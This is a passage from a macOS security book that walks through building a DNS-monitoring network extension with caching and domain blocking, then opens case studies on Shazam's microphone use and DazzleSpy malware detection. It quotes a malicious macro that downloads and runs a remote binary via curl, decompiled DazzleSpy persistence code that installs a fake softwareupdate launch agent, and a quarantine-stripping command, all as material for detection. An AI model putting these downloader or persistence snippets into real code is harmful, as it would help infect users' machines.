Library/SystemExtensions/ directory. A provisioning profile must also autho-
rize the use of restricted entitlements, and we can’t embed provisioning 
profiles directly into a stand-alone binary.

For these reasons, DNSMonitor contains two components: a host applica-
tion and a network extension.3 To properly package the extension in Xcode, 
we specify the application component dependency on the extension under 
Build Phases. We set the destination to System Extensions so that macOS 
will copy the extension into the application’s Contents/Library/SystemExtensions/ 
directory while building the application (Figure 13-1).

Figure 13-1: The application contains a build step to embed the  
system extension.

Let’s now turn our attention to the extension’s Info.plist file (Listing 13-2).

<?xml version="1.0" encoding=”UTF-8″?>
...
<plist version=″1.0″> 
<dict>
    ...
  1 <key>CFBundlePackageType</key>
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    <string>$(PRODUCT_BUNDLE_PACKAGE_TYPE)</string>
    ...
  2 <key>NetworkExtension</key>
    <dict>
      3 <key>NEMachServiceName</key>
        <string>$(TeamIdentifierPrefix)com.objective-see.dnsmonitor</string>
      4 <key>NEProviderClasses</key>
            <dict>
                <key>com. apple. networkextension. dns- proxy</key>
                <string>DNSProxyProvider</string>
            </dict>
        </dict>
        ...

Listing 13-2: The extension’s Info .plist file contains various key-value pairs specific to network 
extensions.

We set CFBundlePackageType to a variable 1 that the compiler will replace 
with the project’s type, systemextension. The NetworkExtension key holds a dic-
tionary containing key and value pairs relevant to network extensions 2. The 
NEMachServiceName key specifies the name of the Mach service the extension 
can use for XPC communications 3. Also, note the NEProviderClasses key, 
which contains the network extension’s type and the name of the class within 
DNSMonitor that implements the required network extension logic 4. In 
Chapter 7, I mentioned that this class should implement NEDNSProxyProvider 
delegate methods. We must also link the extension component against the 
NetworkExtension framework.

The application’s entitlements.plist file, shown in Listing 13-3, is fairly 
similar to that of the extension.

<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>com.apple.developer.networking.networkextension</key>
    <array>
        <string>dns-proxy-systemextension</string>
    </array>
    <key>com.apple.developer.system-extension.install</key>
    <true/>
    <key>com.apple.security.application-groups</key>
    <array>
        <string>$(TeamIdentifierPrefix)com.objective-see.dnsmonitor</string>
    </array>
</dict>
</plist>

Listing 13-3: The app’s entitlements .plist file also contains key-value pairs specific to  
network extensions.

One difference between the two is the addition of the com.apple.developer 
.system-extension.install entitlement, set to true. We indirectly added this 
entitlement to the app’s provisioning profile when we granted it the System 
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Extension capability. The app needs this entitlement to install and activate 
the network extension.

Tool Design
Now that I’ve explained the components of DNSMonitor, let’s focus on how 
it operates, starting with launching the application.

The App
You can find the initialization logic for the app in the DNSMonitor/App/
main.m file. After performing some basic argument parsing (for example, 
checking whether the user invoked the app with the -h flag to show the 
default usage), the app retrieves the responsible parent’s bundle ID. If this 
parent is the Finder or the Dock (the likely parents in scenarios where the 
user double-clicked the app icon), the app displays an informative alert 
explaining that DNSMonitor should run from the terminal.

Also, unless we run DNSMonitor from the Applications directory, when 
the OSSystemExtensionRequest request:didFailWithError: delegate method  
is invoked by the application to activate the extension, it will fail:4

ERROR: method '-[Extension request:didFailWithError:]' invoked with
<OSSystemExtensionActivationRequest: 0x600003a8f150>, Error Domain=
OSSystemExtensionErrorDomain Code=3 "App containing System Extension
to be activated must be in /Applications folder" UserInfo={NSLocalized
Description=App containing System Extension to be activated must be in
/Applications folder}

So, when run from the terminal, DNSMonitor checks that it’s executing 
from the correct directory before loading the network extension compo-
nent. If not, it prints an error message and exits (Listing 13-4).

if(YES != [NSBundle.mainBundle.bundlePath hasPrefix:@"/Applications/"]) {
    ...
    NSLog(@"\n\nERROR: As %@ uses a System Extension, Apple requires it must
    be located in /Applications\n\n", [APP_NAME stringByDeletingPathExtension]);
    goto bail;
}

Listing 13-4: Checking whether the monitor is running from the /Applications directory

To pass captured DNS traffic from the extension to the application so we 
can display it to the user, we use the system log. In Listing 13-5, the applica-
tion initializes a custom log monitor with a predicate to match messages 
written to the log by the (soon-to-be-loaded) network extension. It then 
prints any received messages to the terminal.
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NSPredicate* predicate =
[NSPredicate predicateWithFormat:@"subsystem='com.objective-see.dnsmonitor'"];

LogMonitor* logMonitor = [[LogMonitor alloc] init];
[logMonitor start:predicate level:Log_Level_Default eventHandler:^(OSLogEventProxy* event) {
    ...
    NSLog(@"%@", event.composedMessage);
}];

Listing 13-5: The app’s log monitor ingests DNS traffic captured in the extension.

In other cases, you might want to use a more robust mechanism, such 
as XPC, to pass data back and forth between the extension and the app, but 
for a simple command line tool, the universal logging subsystem suffices.

Before loading the network extension, the app sets up a signal handler 
for the interrupt signal (SIGINT). As a result, when the user presses CTRL-C, 
the app can unload the extension and gracefully exit (Listing 13-6).

1 signal(SIGINT, SIG_IGN);

dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_SIGNAL,
2 SIGINT, 0, dispatch_get_main_queue());
3 dispatch_source_set_event_handler(source, ^{
    ...
    stopExtension();
    exit(0);
});
dispatch_resume(source);

Listing 13-6: Setting up a custom interrupt signal handler

First, the code ignores the default SIGINT action 1. Then it creates a 
dispatch source for the interrupt signal 2 and sets a custom handler with 
the dispatch_source_set_event_handler API 3. The custom handler invokes a 
helper function, stopExtension, to unload and uninstall the network exten-
sion before exiting. Though not shown here, the monitor can be executed 
with a command line option to skip unloading the extension when it exits. 
This alleviates the need to restart, and thus reapprove, the extension each 
time the monitor is restarted.

Finally, the app installs and activates the network extension. Because I 
covered this process in full detail in Chapter 7, I won’t repeat it here, other 
than to note that it involves making an OSSystemExtensionRequest request and 
configuring an NEDNSProxyManager object. You can find the full installation 
and activation code in DNSMonitor’s App/Extension.m file.

With the network extension running, the app tells the current run loop 
to continue until it receives an interrupt signal from the user, as it needs to 
hang around to print out captured DNS traffic.

The Extension
Behind the scenes, when an application invokes the APIs to install and 
activate a network extension, macOS copies the extension from the app’s 
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Contents/Library/SystemExtensions/ directory into a privileged directory,  
/Library/SystemExtensions/<UUID>/, validates it, then executes it with root 
privileges. Run the ps command to show the activated network extension’s 
process information, such as its privilege level, process ID, and path:

% ps aux
...
root 38943 ... /Library/SystemExtensions/8DC3FC3A-825E-49C3-879B-6B0C08388238/
com.objective-see.dnsmonitor.extension.systemextension/Contents/MacOS/com
.objective-see.dnsmonitor.extension

Once loaded, DNSMonitor’s extension opens a handle to the universal 
logging subsystem via the os_log_create API, as it passes captured DNS traf-
fic to the app using log messages. The logging API takes two parameters 
that allow you to specify a subsystem and a category (Listing 13-7).

#define BUNDLE_ID "com.objective-see.dnsmonitor"

os_log_t logHandle = os_log_create(BUNDLE_ID, "extension");

Listing 13-7: Opening a log handle in the extension

By specifying a subsystem or a category, you can easily create predicates 
that return only certain messages, as we did in the application (Listing 13-5). 
Next, the extension invokes the NEProvider class’s startSystemExtensionMode 
method, which you’ll recall will instantiate the class specified under the 
NEProviderClasses key in the extension’s Info.plist file. The extension uses 
its DNSProxyProvider class, which inherits from the NEDNSProxyProvider class 
(Listing 13-8).

@interface DNSProxyProvider : NEDNSProxyProvider
    ...
@end

Listing 13-8: The interface for the DNSProxyProvider class

In Chapter 7, I described how a DNS monitor could implement the 
various NEDNSProxyProvider methods, such as the all-important handleNewFlow:, 
which will be automatically invoked for all new DNS flows. As such, I won’t 
cover this again here, though you can find the full code in the Extension/
DNSProxyProvider.m file.

Previous chapters didn’t cover how the extension sends the message 
to the app via the log, builds a DNS cache, and blocks specific requests or 
responses. Let’s explore these topics in more detail.

Interprocess Communication
I mentioned that when DNSMonitor’s network extension receives a new 
DNS request or response, it uses the universal logging subsystem to send 
the message to the app’s log monitor, which prints it to the terminal. You 
can find the extension logic to handle the writing of DNS traffic to the log 
in a helper method named printPacket (Listing 13-9).
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-(void)printPacket:(dns_reply_t*)packet flow:(NEAppProxyFlow*)flow {
    ...
    char* bytes = NULL;
    size_t length = 0;

  1 NSMutableDictionary* processInfo = [self getProcessInfo:flow];

    os_log(logHandle, "PROCESS:\n%{public}@\n", processInfo);

  2 FILE* fp = open_memstream(&bytes, &length);
  3 dns_print_reply(packet, fp, 0xFFFF);
  4 fflush(fp);

    os_log(logHandle, "PACKET:\n%{public}s\n", bytes);

    fclose(fp);
    free(bytes);
}

Listing 13-9: Printing a DNS packet to the universal log

A helper function named getProcessInfo: creates a dictionary that 
describes the process responsible for generating the DNS traffic. The code 
then writes the dictionary to the log using the os_log API 1.

Writing the bytes of the DNS packet is a bit more complicated, because 
the macOS dns_print_reply API, which formats raw DNS packets, expects to 
print to a file stream pointer (FILE *), such as stdout. On the other hand, 
universal logging APIs take an os_log_t instead of a FILE *. We circumvent 
this minor obstacle by having dns_print_reply indirectly write to a memory 
buffer, which we can log via os_log.

To make dns_print_reply write to a buffer, we pass it a file handle that, 
unbeknownst to the function, is backed by a buffer, created thanks to the 
often-overlooked open_memstream API 2. The dns_print_reply function formats 
the raw DNS packet and then happily writes it via the file handle 3. After 
invoking fflush to ensure all buffered data is written out to the underlying 
memory 4, we write the parsed DNS packet to the universal log with a sec-
ond call to os_log. As I previously noted, the log monitor in the app compo-
nent can now ingest the message and print it to the user’s terminal.

Building and Dumping DNS Caches
It always surprises me that macOS doesn’t provide a way to dump cached 
DNS resolutions, which contain the requested domains and resolved IP 
addresses. As you’ll see in this section, however, DNS cache dumping is easy 
enough to implement in a DNS monitor.

When the DNSMonitor network extension starts, it creates a global array 
to store dictionaries of the mappings between DNS requests (questions) 
and their responses (answers). It implements this logic in a helper method 
named cache:, which takes a parsed DNS response packet that contains both 
the questions and any answers.
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The majority of code within the cache: method is dedicated to extract-
ing the questions and answers from the DNS response packet, which can 
contain multiples of both. We covered this process in Chapter 7, so we 
won’t repeat it here, but you can find the method’s full code in Extension/
DNSProxyProvider.m.

Once we’ve extracted all questions and answers from the DNS response 
packet, we add them to the global cache array, named dnsCache (Listing 13-10).

-(void)cache:(dns_reply_t*)packet {
    NSMutableArray* answers = [NSMutableArray array];
    NSMutableArray* questions = [NSMutableArray array];

    // Code to extract questions and answers from DNS response packet removed

  1 @synchronized(dnsCache) {
      2 if(dnsCache.count >= MAX_ENTRIES) {
            [dnsCache removeObjectsInRange:NSMakeRange(0, MAX_ENTRIES/2)];
        }

      3 for(NSString* question in questions) {
            if(0 != answers.count) {
              4 [dnsCache addObject:@{question:answers}];
            }
        }
        ...
    }
}

Listing 13-10: Saving DNS questions and answers to a cache

As DNS responses can arrive and be processed asynchronously, we 
synchronize access to the global cache by wrapping it in a @synchronized 
block 1. Before adding another entry, the code checks that the cache hasn’t 
grown too large. If it has, it rather bluntly prunes the first half to evict the 
oldest ones 2. Finally, it adds an entry for each question and its answers 3 
using the NSMutableArray’s addObject: method. Note that the snippet of code 
@{question:answers} uses the Objective-C shorthand @{} to create a dictionary 
whose key is the question and whose value is a list of answers 4.

At this point, the extension is caching DNS questions and answers. The 
entries generated by resolving NoStarch.com and Objective-See.org would 
look like the following:

[
    {nostarch.com:["104.20.120.46", "104.20.121.46"]},
    {objective-see.org:["185.199.110.153", "185.199.109.153",
    "185.199.111.153", "185.199.108.153"]}
]

To facilitate the dumping of this cache, the extension installs a signal 
handler for the signal SIGUSR1, otherwise known as user signal 1 (Listing 13-11).
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signal(SIGUSR1, dumpDNSCache);

Listing 13-11: Installing a signal handler for user signal 1

Now, any adequately privileged process on the system can send a SIGUSR1 
to the extension. Here’s how to do this manually in the terminal:

% sudo kill -SIGUSR1 `pgrep com.objective-see.dnsmonitor.extension`

The kill shell command benignly sends a SIGUSR1 to the extension, 
whose process ID we find via pgrep. Because the extension is running with 
root privileges, we must elevate our privileges with sudo to deliver a signal.

As the code in Listing 13-11 showed, the extension sets the handler for 
SIGUSR1 to a function named dumpDNSCache. Let’s take a look at this function. 
Shown in Listing 13-12, it straightforwardly writes each cache entry to the 
universal log.

void dumpDNSCache(int signal) {
    for(NSDictionary* entry in dnsCache) {
      1 NSString* question = entry.allKeys.firstObject;
      2 os_log(logHandle, "%{public}@:%{public}@", question, entry[question]);
    }
    ...
}

Listing 13-12: When the code receives a SIGUSR1 signal, it dumps the cache to the log.

In a for loop, the code iterates over all entries in its global DNS cache. 
Recall that this cache is an array of dictionaries. Each entry’s dictionary 
contains a single key representing the DNS question, and the code extracts 
it with the firstObject property of the allKeys array 1. Then, using os_log, it 
writes the question and the corresponding answers 2. Note the use of the 
public keyword, which tells the logging subsystem not to redact the cache 
data being logged.

When you send a SIGUSR1 to the extension while the DNSMonitor appli-
cation component is running, it will automatically ingest the log message 
containing the dumped cache and print it out:

Dumping DNS Cache:
DNSMonitor[2027:25144] www.apple.com:(
    "23.2.84.211"
)
DNSMonitor[2027:25144] nostarch.com:(
    "104.20.120.46",
    "104.20.121.46"
)
DNSMonitor[2027:25144] objective-see.org:(
    "185.199.111.153",
    "185.199.110.153",
    "185.199.109.153",
    "185.199.108.153"
)
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Because the extension writes the items in its cache to the universal log, 
you can also view these messages directly via the log command:

% log stream --predicate="subsystem='com.objective-see.dnsmonitor'"

I recommend specifying the filter predicate, however, because otherwise, 
you’ll be inundated with irrelevant log messages from the rest of the system.

Blocking DNS Traffic
So far, we’ve focused on passive actions, such as printing DNS requests and 
responses and dumping an extension-built cache. But what if we wanted 
to extend the monitor to block certain traffic? Chapter 7 covered Apple’s 
official way of blocking traffic using a network extension that implements a 
filter data provider to allow, drop, or pause network flows. Objective-See’s 
open source firewall LuLu takes this approach.5

It turns out we can also block DNS traffic using an NEDNSProxyProvider 
object. Because we’re already proxying all DNS traffic, nothing stops 
us from closing any flow we so choose. A benefit of sticking with the 
NEDNSProxyProvider class is that the system routes only DNS traffic through 
the extension. Because we’re not interested in other types of traffic, this 
keeps our code efficient. On the other hand, a filter data provider would 
make us responsible for examining and responding to all network flows.

One simple approach to specifying what DNS traffic to block is to use 
a block list. This block list could contain the domains and IP addresses 
of known malware command-and-control servers, unscrupulous internet 
service providers, or even servers that track users or display ads. Whenever 
an application attempts to resolve a domain, macOS will proxy the request 
through the extension, which can examine the request and block it if the 
domain is on the list. On the flip side, once a remote DNS server has pro-
cessed a request and resolved the domain, macOS will proxy the response 
back through the extension before sending it to the application that made 
the original request. This gives the extension a chance to examine the 
response and block it if it contains a banned IP address.

You can find the logic to block a domain or IP address in the extension, 
in a method named shouldBlock:. This method accepts a parsed DNS packet 
of type dns_reply_t (used for both requests and responses) and returns 
a Boolean to indicate whether to block it. The method’s logic is rather 
involved, as it must handle both IPv4 and IPv6, so I won’t show its entire 
code here. Listing 13-13 includes the part of the method that checks whether 
requests contain any domains on the block list.

-(BOOL)shouldBlock:(dns_reply_t*)packet {
    BOOL block = NO;
    dns_header_t* header = packet->header;

    if(DNS_FLAGS_QR_QUERY == (header->flags & DNS_FLAGS_QR_MASK)) { 1
        for(uint16_t i = 0; i < header->qdcount; i++) { 2
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            NSString* question = [NSString stringWithUTF8String:packet->question[i]->name]; 3
            if(YES == [self.blockList containsObject:question]) { 4
                block = YES;
                goto bail;
            }
        }
    }
    ...

bail:
    return block;
}

Listing 13-13: Checking for domains to block

The code first initializes a dns_header_t pointer to the header of the 
parsed DNS packet. Defined in Apple’s dns_util.h file, it contains flags (to 
indicate the type of DNS packet) and various counts, such as the number of 
questions and answers:

typedef struct {
    uint16_t xid;
    uint16_t flags;
    uint16_t qdcount;
    uint16_t ancount;
    uint16_t nscount;
    uint16_t arcount;
} dns_header_t;

The code in Listing 13-13 checks the header’s flags member to see 
whether the DNS_FLAGS_QR_QUERY bit is set 1. This flag indicates that the DNS 
packet is a query containing one or more domains to resolve. (You won’t 
find constants such as DNS_FLAGS_QR_QUERY in any header file, as Apple defines 
them in dns_util.c, so you might want to copy them directly into your own 
code.) Assuming the DNS packet contains a query, the code then iterates 
over each domain in the request 2. The number of domains is stored in the 
qdcount member of the header structure, while each domain to be resolved 
can be found in the packet’s question array. The code extracts each domain 
and converts it to a more manageable Objective-C string object 3 before 
checking whether it matches any of the items in the global block list 4. If 
so, the code sets a flag, breaks, and returns.

Though not shown here, the code to check a response packet is similar. 
Response packets list the number of answers in the ancount member of the 
header structure and provide the answers themselves in the answer array. 
Apple defines the dns_resource_record_t structure to store these answers in 
the dns_util.h header file. This structure contains, among other things, a 
dnstype member, which specifies the answer’s type, such as A or CNAME. So, to 
extract an IPv4 address from a DNS A record into an Objective-C object, you 
might write code similar to Listing 13-14.
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if(ns_t_a == packet->answer[i]->dnstype) {
    NSString* address =
    [NSString stringWithUTF8String:inet_ntoa(packet->answer[i]->data.A->addr)];

    // Add code here to process the extracted answer (IP address).
}

Listing 13-14: Extracting an answer from a DNS A record

If a question or an answer matches an entry in DNSMonitor’s global block 
list, the shouldBlock: method returns YES, the Objective-C equivalent of true.

The location of the shouldBlock: method’s invocation dictates how the 
flow closes. For example, it’s easy to block a question, as DNSMonitor is 
really a proxy that is responsible for making the actual connection to the 
remote DNS server and thus we can close the local flow using the close 
WriteWithError: method (Listing 13-15).

BOOL block = [self shouldBlock:parsedPacket];
if(YES == block) {
    [flow closeWriteWithError:nil];
    return;
}

Listing 13-15: Closing a local flow

To block an answer, we should make sure to also clean up the remote 
connection with the DNS server that provided the answer (Listing 13-16).

nw_connection_receive(connection, 1, UINT32_MAX, ^(dispatch_data_t content,
nw_content_context_t context, bool is_complete, nw_error_t receive_error) {
    ...
    BOOL block = [self shouldBlock:parsedPacket];
    if(YES == block) {
        [flow closeWriteWithError:nil];
        nw_connection_cancel(connection);
        return;
    }
});

Listing 13-16: Closing a remote flow

DNSMonitor uses the nw_connection_receive API to proxy responses. Thus, 
to block any responses, it first closes the flow and then calls nw_connection 
 _cancel to cancel the connection.

For completeness, I should mention that you could also handle DNS 
blocking by returning a response with the response code set to what is 
known as a name error or, more simply, NXDOMAIN. Such a response would tell 
the requestor that the domain wasn’t found, meaning the resolution failed. 
DNSMonitor takes this approach when executed with the -nx command 
line option.

To generate such a response, you could take the DNS request or 
response packet and modify the flags in its header in the manner shown in 
Listing 13-17.
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dns_header_t* header = (dns_header_t *)packet.bytes;

header->flags |= htons(0x8000);
header->flags &= ~htons(0xF);
header->flags |= htons(0x3);

Listing 13-17: Crafting an NXDOMAIN response

The code expects a DNS packet in a mutable data object. It first type-
casts the packet’s bytes to a dns_header_t pointer. Next, it sets the QR bit of the 
flags field in the header to indicate that the packet is a response. Following 
this, it clears the RCODE (response code) bits before setting just the NXDOMAIN 
response code. You can read more about the DNS header and these fields in 
the RFP 1035 that defines the technical specifications of DNS.6

Classifying Endpoints
Instead of using a hardcoded block list, a tool could determine whether 
to block DNS requests or responses heuristically, for example, by examin-
ing historical DNS records, WHOIS data, and any SSL/TLS certificates.7 
Let’s look at each of these techniques more closely, using the 3CX supply 
chain attack as an example. The 3cx.cloud domain used in the attack is 
a legitimate part of 3CX’s infrastructure, but the attacker-controlled 
 msstorageboxes .com domain, used by the malicious code introduced into the 
application, raises some red flags:

Historical DNS records    At the time of the 3CX supply chain attack 
in March 2023, only one DNS record existed for the msstorageboxes .com 
domain, which had been registered just a few months prior. Trusted 
domains usually have a longer history and many DNS records. On the 
other hand, hackers often register domains for their command-and-
control servers just before their attacks and tear them down shortly 
thereafter. Of course, hackers sometimes leverage previously legitimate 
domains that they either bought through standard domain procure-
ment processes or obtained when domain registration lapsed. Again, 
you’ll see this activity reflected in the domain’s historical DNS records.

Redacted WHOIS data    The attackers redacted WHOIS data for 
the msstorageboxes .com domain for privacy reasons. It’s unusual for a 
large, well-established company to hide its identity. For example, the 
legitimate 3cx.cloud domain clearly shows that it’s registered to 3CX 
Software DMCC.

Domain name registrar    The attackers registered the msstorageboxes 
.com domain via NameCheap. Well-established companies often choose 
more enterprise-focused domain registrars, such as CloudFlare.
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Conclusion
A DNS monitor capable of tracking all requests and responses is a powerful 
tool for malware detection. In this chapter, I built on Chapter 7 to describe 
how you might implement such a monitor atop Apple’s NetworkExtension 
framework. I showed you how to add capabilities to the tool, such as a cache 
and blocking capabilities, to extend its functionality.

In the book’s final chapter, we’ll pit tools such as this DNS monitor 
against real-life Mac malware. Read on to see how each side fares!
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In this final chapter, I showcase a handful 
of case studies, ranging from good apps mis-

behaving to sophisticated nation-state attacks.  
In each case, I’ll demonstrate exactly how the  

heuristic-based detection approaches discussed through-
out this book succeed at uncovering the threat, even 
without prior knowledge of it.

Shazam’s Mic Access
About a year after the release of OverSight, the webcam and mic monitor 
detailed in Chapter 12, I received an email from a user named Phil, who 
wrote the following: “Thanks to OverSight, I was able to figure out why my 
mic was always spying on me. Just to let you know, the Shazam widget keeps 
the microphone active even when you specifically switch the toggle to OFF 
in their app.”

14
C A S E  S T U D I E S
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Shazam, an app that became popular in the mid-2010s, identifies 
the name and artist of a song while it plays. To confirm Phil’s bold claim 
(and rule out any bugs in OverSight), I decided to investigate the issue. I 
installed Shazam on my Mac, then toggled it on, instructing it to listen. 
Unsurprisingly, this generated an OverSight event indicating that Shazam 
had activated the computer’s built-in microphone.

I then toggled Shazam off. Instead of displaying the expected deactiva-
tion alert, OverSight displayed nothing. To determine whether Shazam was 
indeed still listening, I reverse engineered the app. Examining Shazam’s 
binary code revealed a core class named SHKAudioRecorder and seemingly 
relevant methods named isRecording and stopRecording. In the following 
debugger output, you can see that I encountered an instance of this class at 
the memory address 0x100729040. We can introspect this SHKAudioRecorder 
object, and even directly invoke its methods or inspect its properties, to see 
whether Shazam is indeed still recording:

(lldb) po [0x100729040 className]
SHKAudioRecorder

(lldb) p (BOOL)[0x100729040 isRecording]
(BOOL) $19 = YES

Continued analysis revealed that, to stop recording, the stopRecording 
method would invoke Apple’s Core Audio AudioOutputUnitStop function. So 
far, so good. However, further investigation appeared to show that Shazam 
never actually called this method when users toggled off the recording. This 
strongly implied that Shazam kept the mic active and listening! Indeed, as 
shown in the debugger output, querying the isRecording property after tog-
gling Shazam off shows it still set to YES, the Objective-C value for true.

Apparently, when Shazam’s marketing materials claimed the app would 
“lend its ears to your Mac,” they weren’t kidding! I reached out to the com-
pany, who told me that this undocumented behavior was part of the app’s 
design, and actually benefited the user:

Thanks for getting in touch and bringing this to our attention. 
The iOS and Mac apps use a shared SDK, hence the continued 
recording you are seeing on Mac. We use this continued record-
ing on iOS for performance, allowing us to deliver faster song 
matches to users.

While Shazam initially ignored my concerns, it changed its mind once 
the media got involved, running pieces with headlines such as “Shazam is 
always listening to everything you’re doing”1 and “Shhh! Shazam is always 
listening—even when it’s been switched ‘off.’ ”2 In response, Shazam pushed 
out an update that turned off the microphone when the app was toggled 
off.3 (Apparently, though, there really is no such thing as bad publicity; the 
following year, Apple acquired Shazam for $400 million.)

I designed OverSight to detect malware with mic and webcam spying 
capabilities, such as FruitFly, Crisis, and Mokes, but its malware-agnostic, 
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heuristic-based approach has proven extremely versatile, capable also of 
identifying a major privacy issue.

Next, we’ll consider a more conventional example of malware detection.

DazzleSpy Detection
DazzleSpy, a malicious specimen mentioned throughout the book, makes 
for a great case study, as it’s not your average, run-of-the-mill malware. This 
sophisticated, persistent backdoor used zero-day exploits to infect individu-
als supporting pro-democracy causes in Hong Kong.4 Intrigued by the mal-
ware, I performed my own analysis of it5 and then considered how security 
tools could have defended against it and other sophisticated macOS threats.

Exploit Detection
The tools and techniques presented in this book have predominantly 
fo cused on detecting malware once it has found its way onto a macOS 
system. However, these approaches can often detect the malware’s initial 
exploitation vector as well. For example, a process monitor that builds pro-
cess hierarchies may be able to detect an exploited browser or word proces-
sor spawning a malicious child process. This heuristic-based approach to 
exploit detection is especially important, as advanced threat actors increas-
ingly deploy their malware via exploits.

Before we focus on DazzleSpy’s exploits, let’s consider an attack that lever-
aged a malicious document. Attributed to North Korean nation-state hackers,6 
the Word file contained macro code capable of exploiting a macOS system to 
persistently install a backdoor. Here is a snippet of the malicious code:

sur = "https://nzssdm.com/assets/mt.dat"
spath = "/tmp/"
i = 0

Do
    spath = spath & Chr(Int(Rnd * 26) + 97)
    i = i + 1
Loop Until i > 12

system("curl -o " & spath & " " & sur)
system("chmod +x " & spath)
popen(spath, "r")

You can see that the malicious macro downloads a remote binary, mt.dat, 
via curl, sets it to be executable, then spawns it using the popen API. Because 
the malicious macro executes in the context of Word, a process monitor will 
show curl, chmod, and mt.dat as children of Word. This, of course, is highly 
anomalous and indicative of an attack.

In the case of DazzleSpy, the exploit chain is far more complex, but it  
still offers several chances for detection. As part of the chain, an in-memory  
Mach-O executable code downloads the DazzleSpy backdoor to the 
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$TMPDIR/airportpaird directory. After making the backdoor executable, it 
uses a privilege escalation exploit to remove the com.apple.quarantine extended 
attribute. This action ensures that the operating system will allow the binary 
to execute without prompts or alerts, even though it isn’t notarized.

As the malicious website hosting the exploit chain is long gone, it’s 
hard to test our detections directly unless we set up our own server hosting 
the same exploits. Still, a security tool leveraging Endpoint Security events 
should be able to readily observe and even thwart many actions taken by 
the exploit that deployed DazzleSpy. For example, as Chapter 9 showed, the 
ES_EVENT_TYPE_AUTH_EXEC event type provides a mechanism to authenticate 
process executions, perhaps blocking any that aren’t notarized, especially if 
the parent is the browser.

Other Endpoint Security events related to the deletion of extended 
attributes could catch or even block any process attempting to delete  
com.apple.quarantine. The example code in Listing 14-1 monitors one of 
these events, ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR, to detect any removal 
of any extended attribute.

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR}; 1

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    if(ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR == message->event_type) { 2
        es_string_token_t* procPath = &message->process->executable->path;
        es_string_token_t* filePath = &message->event.deleteextattr.target->path;
        const es_string_token_t* extAttr = &message->event.deleteextattr.extattr;

        printf("ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR\n");
        printf("xattr: %.*s\n", (int)extAttr->length, extAttr->data);
        printf("target file path: %.*s\n", (int)filePath->length, filePath->data);
        printf("responsible process: %.*s\n", (int)procPath->length, procPath->data);
    }
});
es_subscribe(client, events, sizeof(events)/sizeof(events[0]));

Listing 14-1: Detecting the removal of the quarantine attribute

We first specify the event of interest, ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR, 
which will notify us of the removal of any extended attributes 1. (You 
could also use the authorization event ES_EVENT_TYPE_AUTH_DELETEEXTATTR to 
block the removal altogether.) This notification event will trigger the call-
back block 2, where we extract the responsible process, its filepath, and any 
extended attributes that the code deleted. We can extract this information 
from a structure named deleteextattr found in the Endpoint Security event. 
This structure, of type es_event_deleteextattr_t, is defined in ESMessage.h 
and has the following members:

typedef struct {
    es_file_t* _Nonnull target;
    es_string_token_t extattr;
    uint8_t reserved[64];
} es_event_deleteextattr_t
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When downloaded, whether through a browser exploit chain or 
manually, DazzleSpy’s airportpaird binary will have the com.apple.quarantine 
extended attribute set. You can confirm this with the xattr command, exe-
cuted with the -l command line flag:

% xattr -l airportpaird
com.apple.quarantine: 0083;659e4224;Safari;D6E57863-A216-4B5B-ADE8-2ECB300E2075

To manually mimic the exploit, delete this attribute by running xattr 
with the -d flag:

% xattr -d com.apple.quarantine airportpaird

If the monitoring code we wrote in Listing 14-1 is running, you’ll receive 
the following alert:

# XattrMonitor.app/Contents/MacOS/XattrMonitor
ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR
xattr: com.apple.quarantine
target file path: /var/folders/l2/fsx0dkdx3jq6w71cqsht2p240000gn/T/airportpaird
responsible process: /usr/bin/xattr

Many other malware samples remove the com.apple.quarantine extended 
attribute, including CoinTicker, OceanLotus, and XCSSET.7 It’s worth 
noting, however, that legitimate applications, such as installers, may also 
remove this attribute, so you shouldn’t treat a single observation as the sole 
reason for classifying an item as malicious.

Persistence
It’s also easy to detect DazzleSpy by taking a behavior-based approach focusing 
on the malware’s persistence and network access. Let’s start by detecting its 
persistence, one of the best ways to detect malware. The following decompila-
tion shows DazzleSpy’s installDaemon method installing and persisting it as a 
launch agent:

+(void)installDaemon {
    ...
    rax = NSHomeDirectory();
    var_30 = [[NSString stringWithFormat:@"%@/.local", rax] retain];
    var_38 = [[NSString stringWithFormat:@"%@/softwareupdate", var_30] retain];
    rax = [[NSBundle mainBundle] executablePath];
    var_58 = [NSURL fileURLWithPath:rax];
    var_60 = [NSData dataWithContentsOfURL:var_58];

    [var_60 writeToFile:var_38 atomically:0x1];

    var_78 = [NSString stringWithFormat:@"%@/Library/LaunchAgents", rax];
    var_80 = [var_78 stringByAppendingFormat:@"/com.apple.softwareupdate.plist"];

    var_90 = [[NSMutableDictionary alloc] init];
    var_98 = [[NSMutableArray alloc] init];
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    [var_98 addObject:var_38];
    [var_98 addObject:@"1"];
    rax = @(YES);
    [var_90 setObject:rax forKey:@"RunAtLoad"];
    [var_90 setObject:rax forKey:@"KeepAlive"];
    [var_90 setObject:@"com.apple.softwareupdate" forKey:@"Label"];
    [var_90 setObject:var_98 forKey:@"ProgramArguments"];

    [var_90 writeToFile:var_80 atomically:0x0];

You can see that malware first makes a copy of itself to ~/.local/software 
update, then persists this copy by using the com.apple.softwareupdate.plist launch 
agent property list.

A file monitor that has subscribed to file I/O Endpoint Security events 
such as ES_EVENT_TYPE_NOTIFY_CREATE can easily observe this behavior and 
detect DazzleSpy when it persists. For example, here is the output of the file 
monitor discussed in Chapter 8:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty
...
{
  "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
  "file" : {
    "destination" : "/Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist",
    "process" : {
      "pid" : 1469,
      "name" : airportpaird,
      "path" : "/var/folders/l2/fsx0dkdx3jq6w71cqsht2p240000gn/T/airportpaird"
    }
  }
}

Once DazzleSpy has persisted, we can also view the contents of its  
com.apple.softwareupdate.plist launch agent property list:

<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>KeepAlive</key>
    <true/>
    <key>Label</key>
    <string>com.apple.softwareupdate</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Users/User/.local/softwareupdate</string>
        <string>1</string>
    </array>
